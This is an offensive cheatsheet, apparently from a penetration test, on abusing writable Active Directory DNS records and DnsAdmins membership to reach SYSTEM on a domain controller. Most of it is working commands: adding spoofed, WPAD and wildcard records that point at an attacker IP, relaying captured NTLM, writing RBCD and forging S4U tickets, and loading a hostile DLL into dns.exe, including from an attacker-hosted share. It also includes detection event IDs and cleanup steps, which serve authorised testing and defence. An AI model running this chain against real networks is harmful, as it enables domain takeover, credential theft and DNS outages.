ADIDNS / DNS Record Abuse + DnsAdmins → DC SYSTEM — Cheatsheet¶
Purpose: Turn writable AD-integrated DNS (CREATE_CHILD on a zone or dnsRecord WRITE on a node) into name-resolution poisoning (WPAD/ADIDNS) and turn DnsAdmins membership into LocalSystem on a DC via ServerLevelPluginDll.
Prereqs / context: Linux foothold, domain-joined (kinit -k <ATTACKER_HOST>$ from /etc/krb5.keytab), driving impacket/bloodyAD/krbrelayx over Kerberos (KRB5CCNAME ccaches). DNS records live in LDAP under CN=MicrosoftDNS,DC=DomainDnsZones,DC=<DOMAIN> (per-domain) and …,DC=ForestDnsZones,DC=<DOMAIN> (forest-wide), so a standard user with the right ACE writes them over LDAP — no DNS protocol needed.
0. Recon — find your writable DNS surface¶
kinit -k <ATTACKER_HOST>$ # TGT for the machine acct from the keytab
KRB5CCNAME=<ATTACKER_HOST>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get writable --detail # list every object/attr you can write (grep it for dns)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get writable --detail | grep -iE 'dnsRecord|CREATE_CHILD|DnsZones' # isolate DNS write rights
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get dnsDump # dump every record in the domain zones (see what exists before you touch anything)
dnstool.py -k -u '<NETBIOS>\<USER>' --action query --record @ --zone <ZONE> <DC_FQDN> # query a specific node (confirms read + zone name)
Two ACE shapes give you write:
- dnsZoneScopeContainer: CREATE_CHILD + dnsNode: CREATE_CHILD on a zone → you can create new records anywhere in that zone (and the wildcard/WPAD trick).
- dnsRecord: WRITE (usually with nTSecurityDescriptor: WRITE = WriteDACL on the node) on an existing record → you can overwrite that one record (DoS-risky, see the notes below).
1. This engagement's write surface (what we actually held)¶
# Standard user / foothold machine acct had, across the forest:
ForestDnsZones (forest-wide): CREATE_CHILD on _msdcs.<DOMAIN> and <GLOBAL_ZONE> # 3 zones, both replicate forest-wide → poisons every domain
na: CREATE_CHILD on 10.in-addr.arpa + several <CUSTOMER_ZONE> (OEM partner zones) + dnsRecord:WRITE on ~23 record nodes
eu: CREATE_CHILD on 10.in-addr.arpa, eu zone + dnsRecord:WRITE on 13 record nodes
ap: CREATE_CHILD on 8 zones — INCLUDING external customer zones <CUSTOMER_ZONE> (do NOT touch, see DoS caution)
_msdcs.<DOMAIN> write is the spicy one: it holds the SRV/CNAME records DCs use to find each other (e.g. the GUID-CNAMEs for replication). Creating new nodes there is high-impact; overwriting existing ones is a domain-wide DoS — create-only.
2. Add / spoof a single A record¶
# krbrelayx dnstool.py — password auth
dnstool.py -u '<NETBIOS>\<USER>' -p '<USER_PW>' --action add --record <name> --data <ATTACKER_IP> --type A <DC_FQDN> # add <name>.<DOMAIN> then attacker
# krbrelayx dnstool.py — Kerberos (ccache), preferred here
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record <name> --data <ATTACKER_IP> --type A --zone <ZONE> <DC_FQDN>
# bloodyAD equivalent
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add dnsRecord <name> <ATTACKER_IP> # defaults type A, zone = domain zone
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add dnsRecord <name> <ATTACKER_IP> --dnstype A --zone <ZONE> --ttl 180 # explicit zone/ttl
# verify, then you'll delete it (PoC discipline)
dnstool.py -k -u '<NETBIOS>\<USER>' --action query --record <name> --zone <ZONE> <DC_FQDN>
Notes: CREATE_CHILD lets you add a new name; modifying an existing name needs dnsRecord: WRITE (--action modify). New records propagate after the zone refresh/notify; default DNS scavenging means a low TTL benign record self-cleans, but always delete it yourself.
3. Forest-wide zones (ForestDnsZones partition)¶
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record <name> --data <ATTACKER_IP> --type A --zone _msdcs.<DOMAIN> --forest <DC_FQDN> # --forest targets the ForestDnsZones NC
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add dnsRecord <name> <ATTACKER_IP> --zone _msdcs.<DOMAIN> --forest # bloodyAD --forest = ForestDnsZones
--forest is mandatory for _msdcs.<DOMAIN> / <GLOBAL_ZONE> — those zones live in DC=ForestDnsZones, not DC=DomainDnsZones. A record here is visible to all domains in the forest.
4. ADIDNS / WPAD poisoning → coerce → capture / relay¶
# Classic WPAD A record (works only if WPAD isn't blocked by the DNS Global Query Block List — see the notes below)
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record wpad --data <ATTACKER_IP> --type A --zone <ZONE> <DC_FQDN>
# Wildcard ADIDNS record — answers ANY unqualified single-label name not already present (Kevin Robertson trick)
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action add --record '*' --data <ATTACKER_IP> --type A --zone <ZONE> <DC_FQDN>
# Then run a WPAD/responder server + capture/relay (pair with the coercion+relay cheatsheet)
sudo responder -I eth0 -wv # serve wpad.dat, capture NTLM from clients that resolve to you
sudo ntlmrelayx.py -t smb://<TARGET_IP> -smb2support --no-http-server # relay captured auth (SMB targets w/o signing)
Payoff = NTLM material for pass-the-hash / relay, not cracking. The wildcard record is quieter than overwriting a real hostname and reversible with one delete.
5. DnsAdmins → DC SYSTEM (ServerLevelPluginDll)¶
Map the group to its real primitive: DnsAdmins does not give you C$/local-admin/DCSync on a DC. Its primitive is exactly one thing — it can set the DNS service's ServerLevelPluginDll, which the DNS service (running as SYSTEM on the DC) loads on next start. Don't test C$/SVCCTL and conclude "defended"; test the DLL path.
The engagement chain (standard user → DC SYSTEM, no cracking):
# 5a. You control a machine acct <FOOTHOLD>$ (shadow-cred then PKINIT AES TGT in its ccache).
# 5b. As a standard user, write RBCD on the DC object then <FOOTHOLD>$ (the disputed-but-LIVE primitive)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<DC>$' '<FOOTHOLD>$' # msDS-AllowedToActOnBehalfOfOtherIdentity
# 5c. S4U: impersonate a NON-protected DnsAdmins member (<ADMIN>) to the DC. WRITE RBCD AND S4U AGAINST THE SAME DC (replication!)
KRB5CCNAME=<FOOTHOLD>.ccache getST.py -k -no-pass -spn 'host/<DC_FQDN>' -impersonate '<ADMIN>' '<DOMAIN>/<FOOTHOLD>$' -dc-ip <DC_IP>
# 5d. Use that ticket to set the plugin DLL via the DNS mgmt RPC (dnscmd from a Win context, or RPC). Prefer a LOCAL path on the DC if egress is blocked:
KRB5CCNAME=<ADMIN>.ccache dnscmd <DC_FQDN> /config /serverlevelplugindll C:\Windows\Temp\evil.dll # local DLL (no SMB callback needed)
KRB5CCNAME=<ADMIN>.ccache dnscmd <DC_FQDN> /config /serverlevelplugindll \\<ATTACKER_IP>\share\evil.dll # UNC variant — needs DC then you SMB egress (often blocked, see the notes below)
# 5e. Detonate = restart the DNS service (DnsAdmins can trigger it via the mgmt interface; otherwise wait for reboot)
KRB5CCNAME=<ADMIN>.ccache dnscmd <DC_FQDN> /config /serverlevelplugindll # (after cleanup) — and to restart:
sc.exe \\<DC_FQDN> stop dns && sc.exe \\<DC_FQDN> start dns # DLL loads as SYSTEM on the DC on start
The DLL just needs to be loadable (a stub DllMain that runs your action, or a valid DnsPluginInitialize export) — on load it executes as NT AUTHORITY\SYSTEM inside dns.exe. We set the plugin path (validated working as <ADMIN>/DnsAdmins) but deliberately did NOT detonate — see DoS caution.
DoS caution (read before you type)¶
- Never modify or overwrite a LIVE production record, especially
_msdcs.<DOMAIN>SRV/CNAMEs (breaks DC location/replication) or any external<CUSTOMER_ZONE>(breaks a customer's name resolution — engagement-ending).dnsRecord: WRITEon a real node = overwrite = outage. - PoC discipline: create a single benign, uniquely-named record (
<name>you invented) → screenshot the query → delete it. For DnsAdmins: setServerLevelPluginDll, screenshot the config, revert — do not restartdns.exeon a production DC unless detonation is explicitly authorized (restart = DNS outage on that DC).
Detection / OPSEC¶
- DNS record writes land in LDAP as object creates/modifies under
CN=MicrosoftDNS(Directory Service / 5136 if SACL'd), and as DNS Server analytic events.ServerLevelPluginDllchanges are loud: DNS event 150 (failed plugin load) / 770 and registry writes toHKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll; adns.exeloading a non-Microsoft DLL is a high-fidelity EDR signal. RBCD writes show asmsDS-AllowedToActOnBehalfOfOtherIdentitymodifications (4742). S4U shows as 4769 forhost/<DC>with an impersonated client. Wildcard/WPAD records + Responder traffic are classic.
Cleanup (revert everything you added)¶
KRB5CCNAME=<USER>.ccache dnstool.py -k -u '<NETBIOS>\<USER>' --action remove --record <name> --zone <ZONE> <DC_FQDN> # delete the record you added (use --forest for _msdcs/<GLOBAL_ZONE>)
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove dnsRecord <name> <ATTACKER_IP> # bloodyAD variant
KRB5CCNAME=<ADMIN>.ccache dnscmd <DC_FQDN> /config /serverlevelplugindll "" # blank ServerLevelPluginDll (revert), then restart DNS ONLY if you started it
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> remove rbcd '<DC>$' '<FOOTHOLD>$' # remove the RBCD ACE
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<DC>$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity # confirm it comes back empty
Also remove any wildcard * record, and delete the shadow-credential / SPN you added to <FOOTHOLD>$ if that was provisioned for this chain.
References¶
- krbrelayx
dnstool.py— Dirk-jan Mollema: https://github.com/dirkjanm/krbrelayx - "Beyond LLMNR/NBNS Spoofing — Exploiting Active Directory-Integrated DNS" (ADIDNS / wildcard / WPAD), Kevin Robertson: https://blog.netspi.com/exploiting-adidns/
- bloodyAD (
get writable,get dnsDump,add/remove dnsRecord,add/remove rbcd): https://github.com/CravateRouge/bloodyAD - "Feature, not bug: DNSAdmin to DC compromise" (
ServerLevelPluginDll), Shay Ber: https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83 - impacket
getST.py/services.py(S4U + service control): https://github.com/fortra/impacket - MS-DNSP DNS Server Management Protocol (
ServerLevelPluginDllsemantics): https://learn.microsoft.com/openspecs/windows_protocols/ms-dnsp